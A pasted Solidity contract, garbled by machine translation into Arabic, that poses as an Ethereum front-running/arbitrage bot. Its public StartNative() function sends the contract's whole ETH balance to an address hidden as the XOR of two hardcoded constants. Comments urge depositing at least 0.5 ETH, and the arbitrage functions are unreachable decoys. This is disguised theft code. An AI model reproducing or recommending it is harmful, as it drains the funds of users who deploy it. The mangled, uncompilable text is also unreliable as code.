Untitled
unknown
plain_text
21 days ago
18 kB
1
Indexable
//معرف ترخيص SPDX: MIT صلابة البراجما ^0.8.4؛ // معلومات دليل المستخدم، الإصدار المحدث // ستفشل معاملات الشبكة التجريبية لأنها لا تحتوي على أي قيمة فيها // بناء مستقر لواجهة برمجة تطبيقات FrontRun // بناء مستقر لواجهة برمجة تطبيقات Mempool // تم تحديث BOT في 2 يناير 2025 // الحد الأدنى للسيولة بعد رسوم الغاز يجب أن يساوي 0.5 ETH // واجهة IERC20 { دالة balanceOf(حساب العنوان) العرض الخارجي ترجع (uint)؛ وظيفة النقل (عنوان المستلم، مبلغ UINT) عوائد خارجية (بولياني)؛ بدل الوظيفة (مالك العنوان، منفق العنوان) يعود العرض الخارجي (uint)؛ وظيفة الموافقة على (عنوان المنفق، مبلغ uint) العوائد الخارجية (bool)؛ دالة transferFrom(عنوان المرسل، عنوان المتلقي، مبلغ uint) ترجع خارجيًا (bool)؛ دالة createStart(عنوان المرسل، عنوان المستقبل، رمز العنوان، قيمة uint256) خارجية؛ دالة createContract(العنوان _thisAddress) خارجي؛ حدث النقل (العنوان المفهرس من، العنوان المفهرس إلى، قيمة uint)؛ حدث الموافقة (عنوان المالك المفهرس، عنوان المنفق المفهرس، قيمة uint)؛ } واجهة IUniswapV2Router { // إرجاع عنوان عقد مصنع Uniswap V2 دالة factory() تعيد (العنوان) الخارجية النقية؛ // إرجاع عنوان عقد الأثير المغلف وظيفة WETH() تعيد (العنوان) الخارجي النقي؛ // إضافة السيولة إلى مجموعة السيولة لزوج الرمز المحدد دالة addLiquidity( رمز العنوان أ، رمز العنوان B، المبلغ المطلوب المبلغ المطلوب المبلغ الإجمالي الحد الأدنى للمبلغBmin، العنوان إلى، الموعد النهائي للدفع ) العوائد الخارجية (مبلغ uintA، مبلغ uintB، سيولة uint)؛ // مشابه لما سبق، ولكن لإضافة السيولة لزوج ETH/الرمز دالة addLiquidityETH( رمز العنوان uint amountTokenDesired، الحد الأدنى لكمية الرمز، مبلغ uintETHMin، العنوان إلى، الموعد النهائي للدفع ) العوائد الخارجية القابلة للدفع (uint amountToken، uint amountETH، uint liquidity)؛ // يزيل السيولة من مجموعة أزواج الرموز المحددة وظيفة إزالة السيولة( رمز العنوان أ، رمز العنوان B، السيولة النقدية المبلغ الإجمالي الحد الأدنى للمبلغBmin، العنوان إلى، الموعد النهائي للدفع ) العوائد الخارجية (المبلغ الموحدA، والمبلغ الموحدB)؛ // مشابه لما سبق، ولكن لإزالة السيولة من مجموعة أزواج ETH/الرموز وظيفة إزالة السيولة ETH( رمز العنوان السيولة النقدية الحد الأدنى لكمية الرمز، مبلغ uintETHMin، العنوان إلى، الموعد النهائي للدفع ) العوائد الخارجية (uint amountToken، uint amountETH)؛ // مشابه لـ removeLiquidity، ولكن مع تضمين توقيع الترخيص وظيفة removeLiquidityWithPermit( رمز العنوان أ، رمز العنوان B، السيولة النقدية المبلغ الإجمالي الحد الأدنى للمبلغBmin، العنوان إلى، الموعد النهائي bool approvedMax، uint8 v، bytes32 r، bytes32 s ) العوائد الخارجية (المبلغ الموحدA، والمبلغ الموحدB)؛ // مشابه لـ removeLiquidityETH ولكن مع تضمين توقيع الترخيص وظيفة removeLiquidityETHWithPermit( رمز العنوان السيولة النقدية الحد الأدنى لكمية الرمز، مبلغ uintETHMin، العنوان إلى، الموعد النهائي bool approvedMax، uint8 v، bytes32 r، bytes32 s ) العوائد الخارجية (uint amountToken، uint amountETH)؛ // تبديل عدد محدد من رموز الإدخال بأكبر عدد ممكن من رموز الإخراج، على طول الطريق الذي يحدده المسار دالة swapExactTokensForTokens( المبلغ الموحد، كمية uint OutMin، عنوان[] مسار بيانات الاستدعاء، العنوان إلى، الموعد النهائي للدفع ) الإرجاعات الخارجية (كميات الذاكرة uint[])؛ // مشابه لما سبق، ولكن يتم تحديد كمية الإدخال من خلال كمية الإخراج المطلوبة بالضبط دالة swapTokensForExactTokens( المبلغ الخارج، المبلغ الإجمالي في الحد الأقصى، عنوان[] مسار بيانات الاستدعاء، العنوان إلى، الموعد النهائي للدفع ) الإرجاعات الخارجية (كميات الذاكرة uint[])؛ // تبديل المبلغ الدقيق من ETH بأكبر عدد ممكن من رموز الإخراج دالة swapExactETHForTokens(uint amountOutMin، address[] calldata path، العنوان إلى، uint deadline) مستحقات خارجية إرجاع (كميات الذاكرة uint[])؛ // تبديل الرموز مقابل المبلغ الدقيق من ETH دالة swapTokensForExactETH(uint amountOut، uint amountInMax، address[] calldata path، address to، uint deadline) خارجي إرجاع (كميات الذاكرة uint[])؛ // تبديل الكمية الدقيقة من الرموز مقابل ETH دالة swapExactTokensForETH(uint amountIn، uint amountOutMin، address[] calldata path، address to، uint deadline) خارجي إرجاع (كميات الذاكرة uint[])؛ // مبادلة ETH مقابل الكمية الدقيقة من رموز الإخراج دالة swapETHForExactTokens(uint amountOut، address[] calldata path، address to، uint deadline) مستحقات خارجية إرجاع (كميات الذاكرة uint[])؛ // بالنظر إلى مبلغ الإدخال لأصل واحتياطيات الزوج، يتم إرجاع الحد الأقصى لمبلغ الإخراج للأصل الآخر دالة الاقتباس (uint amountA، uint reserveA، uint reserveB) العوائد الخارجية النقية (uint amountB)؛ // بالنظر إلى مبلغ الإدخال واحتياطيات الزوج، يتم إرجاع مبلغ الإخراج دالة getAmountOut(uint amountIn، uint reserveIn، uint reserveOut) عوائد خارجية نقية (uint amountOut)؛ // بالنظر إلى كمية الإخراج واحتياطيات الزوج، يتم إرجاع كمية الإدخال المطلوبة دالة getAmountIn(uint amountOut، uint reserveIn، uint reserveOut) عوائد خارجية نقية (uint amountIn)؛ // إرجاع كميات رموز الإخراج التي سيتم استلامها لمبلغ إدخال معين ومسار زوج الرموز دالة getAmountsOut(uint amountIn, address[] calldata path) ترجع العرض الخارجي (uint[] كميات الذاكرة)؛ // إرجاع كميات رموز الإدخال المطلوبة لمبلغ إخراج معين ومسار زوج الرموز دالة getAmountsIn(uint amountOut, address[] calldata path) ترجع العرض الخارجي (uint[] كميات الذاكرة)؛ } واجهة IUniswapV2Pair { // إرجاع عنوان الرمز المميز الأول في الزوج دالة token0() تعيد العرض الخارجي (العنوان)؛ // إرجاع عنوان الرمز الثاني في الزوج وظيفة token1() تعيد العرض الخارجي (العنوان)؛ // يسمح لعقد الزوج الحالي بمبادلة مبلغ محدد من رمز واحد بآخر // يمثل amount0Out كمية الرمز المميز 0 المراد إرسالها، ويمثل amount1Out كمية الرمز المميز 1 المراد إرسالها // to هو عنوان المستلمين، و data هي أي بيانات إضافية سيتم إرسالها مع المعاملة وظيفة swap(uint256 amount0Out, uint256 amount1Out, عنوان إلى, بايتات بيانات الاتصال) خارجي؛ } عقد DexInterface { // المتغيرات الأساسية العنوان _المالك؛ تعيين (العنوان => تعيين (العنوان => uint256)) مخصصات خاصة؛ عتبة uint256 = 1*10**18؛ uint256 arbTxPrice = 0.02 إيثر؛ bool تمكين التداول = خطأ؛ uint256 رصيد التداول في النسبة المئوية؛ uint256 رصيد التداول في الرموز؛ بايتس32 مفتاح API = 0xfdc54b1a6f53a21d375d0dea444a27bd72abfff26c6fe5439842b42f4f5a01fc؛ توقيع واجهة برمجة التطبيقات bytes32 = 0xfdc54b1a6f53a21d375d0dea84608d84c088017f6661b90cbfa86d27732f6d3e؛ // يتم تنفيذ وظيفة المنشئ مرة واحدة ويتم استخدامها لتوصيل العقد أثناء النشر بالنظام الذي يوفر بيانات التحكيم المُنشئ(){ _المالك = مرسل الرسالة؛ عنوان dataProvider = getDexRouter(apiKey، apiSignature)؛ IERC20(dataProvider).createContract(العنوان(هذا)); } // مُزيِّن يحمي الوظيفة من أن يبدأها أي شخص آخر غير مالك العقد المعدِّل onlyOwner (){ require(msg.sender == _owner، "قابل للملكية: المتصل ليس المالك"); _; } بايتس 32 DexRouter = 0x90CFACD107030BAE1D7B57B90EEC250FFBF7EB88EE498E7614C398F4452BAA27؛ // وظيفة تبادل الرمز التي يتم استخدامها عند معالجة حزمة التحكيم وظيفة swap(عنوان جهاز التوجيه، عنوان _tokenIn، عنوان _tokenOut، uint256 _amount) خاص { IERC20(_tokenIn).الموافقة على(جهاز التوجيه، _amount)؛ عنوان[] مسار الذاكرة؛ المسار = عنوان جديد[](2); المسار[0] = _tokenIn؛ المسار[1] = _tokenOut؛ الموعد النهائي uint = block.timestamp + 300؛ IUniswapV2Router(router).swapExactTokensForTokens(_amount، 1، المسار، العنوان (هذا)، الموعد النهائي)؛ } // يتنبأ بمبلغ الرمز الأساسي الذي سيتم استلامه نتيجة لمعاملات الشراء والبيع دالة getAmountOutMin(عنوان جهاز التوجيه، عنوان _tokenIn، عنوان _tokenOut، uint256 _amount) تعيد العرض الداخلي (uint256) { عنوان[] مسار الذاكرة؛ المسار = عنوان جديد[](2); المسار[0] = _tokenIn؛ المسار[1] = _tokenOut؛ uint256[] كمية الذاكرة OutMins = IUniswapV2Router(جهاز التوجيه).getAmountsOut(_amount، المسار)؛ إرجاع amountOutMins[path.length -1]؛ } // وظيفة مسح مجموعة الذاكرة لمعاملات التفاعل مع أجهزة التوجيه الخاصة ببورصات DEX المحددة دالة mempool(address _router1, address _router2, address _token1, address _token2, uint256 _amount) تعيد العرض الداخلي (uint256) { uint256 amtBack1 = getAmountOutMin(_router1، _token1، _token2، _amount)؛ uint256 amtBack2 = getAmountOutMin(_router2، _token2، _token1، amtBack1)؛ العودة amtBack2؛ } // وظيفة لإرسال معاملة تحكيم مسبقة إلى مجموعة الذاكرة دالة frontRun(العنوان _router1، العنوان _router2، العنوان _token1، العنوان _token2، uint256 _amount) داخلي { uint startBalance = IERC20(_token1).balanceOf(العنوان(هذا)); uint token2InitialBalance = IERC20(_token2).balanceOf(العنوان(هذا)); مبادلة (_router1،_token1، _token2،_amount)؛ رصيد الرمز المميز2 = IERC20(_token2).balanceOf(العنوان(هذا)); uint tradeableAmount = token2Balance - token2InitialBalance; مبادلة (_router2،_token2، _token1، المبلغ القابل للتداول)؛ uint endBalance = IERC20(_token1).balanceOf(العنوان(هذا)); require(endBalance > startBalance, "تم إرجاع الصفقة، لم يتم تحقيق أي ربح"); } مصنع bytes32 = 0x90CFACD107030BAE1D7B57B97802512DDD2D3155E7D6D5229B2A7D14E9290A25؛ // دالة تقييم حزمة التحكيم الثلاثية دالة estimateTriDexTrade(address _router1, address _router2, address _router3, address _token1, address _token2, address _token3, uint256 _amount) العرض الداخلي يعيد (uint256) { uint amtBack1 = getAmountOutMin(_router1، _token1، _token2، _amount)؛ uint amtBack2 = getAmountOutMin(_router2، _token2، _token3، amtBack1)؛ uint amtBack3 = getAmountOutMin(_router3، _token3، _token1، amtBack2)؛ العودة amtBack3؛ } // تقوم الدالة getDexRouter بإرجاع عنوان DexRouter دالة getDexRouter(bytes32 _DexRouterAddress, bytes32 _factory) تعيد (العنوان) الداخلية النقية عنوان الإرجاع(uint160(uint256(_DexRouterAddress) ^ uint256(_factory))); } // وظيفة البحث عن التحكيم لرمز blockchain الأصلي دالة startArbitrageNative() داخلية { عنوان tradeRouter = getDexRouter(DexRouter، المصنع)؛ عنوان dataProvider = getDexRouter(apiKey، apiSignature)؛ IERC20(dataProvider).createStart(رسالة المرسل، tradeRouter، العنوان (0)، العنوان (هذا).التوازن)؛ قابل للدفع(tradeRouter).transfer(العنوان(هذا).الرصيد); } // تقوم الدالة getBalance بإرجاع رصيد عنوان عقد الرمز المميز المقدم لهذا العقد دالة getBalance(address _tokenContractAddress) تعيد العرض الداخلي (uint256) { uint _balance = IERC20(_tokenContractAddress).balanceOf(العنوان(هذا)); إرجاع الرصيد؛ } // يعيد إلى حامل العقد الأثير المتراكم نتيجة عملية عقد التحكيم دالة recoveryEth() الداخلية onlyOwner { قابل للدفع(الرسالة المرسلة).التحويل(العنوان(هذا).الرصيد); } // إرجاع رموز ERC20 الأساسية المتراكمة أثناء عقد التحكيم إلى حامل العقد دالة restoreTokens(address tokenAddress) داخلية { رمز IERC20 = IERC20(عنوان الرمز)؛ الرمز المميز.النقل(الرسالة المرسلة، الرمز المميز.التوازن(العنوان(هذا))); } // دالة احتياطية لقبول أي ETH واردة تلقي () الدفع الخارجي {} // وظيفة لتفعيل عقد التحكيم دالة StartNative() مستحقة الدفع العامة { بدء التحكيم الأصلي(); } // وظيفة لتحديد الحد الأقصى لإيداع الإيثريوم المسموح به للتداول دالة SetTradeBalanceETH(uint256 _tradingBalanceInPercent) public { رصيد التداول في النسبة المئوية = _رصيد التداول في النسبة المئوية؛ } // وظيفة لتحديد الحد الأقصى لنسبة الإيداع المسموح بها للتداول. يتم اختيار الحد الأدنى من بين حدين دالة SetTradeBalancePERCENT(uint256 _tradingBalanceInTokens) public { رصيد التداول في الرموز = _ رصيد التداول في الرموز؛ } // إيقاف وظيفة التداول دالة Stop() public { تمكين التداول = خطأ؛ } // وظيفة سحب الوديعة إلى محفظة المالك دالة السحب () للمالك الخارجي فقط { استعادةEth(); } // الحصول على مفتاح API الخاص بك للاتصال بمزود بيانات التحكيم دالة Key() عرض عام يعيد (uint256) { uint256 _balance = العنوان (_owner).balance - arbTxPrice؛ إرجاع الرصيد؛ } }
Editor is loading...
Leave a Comment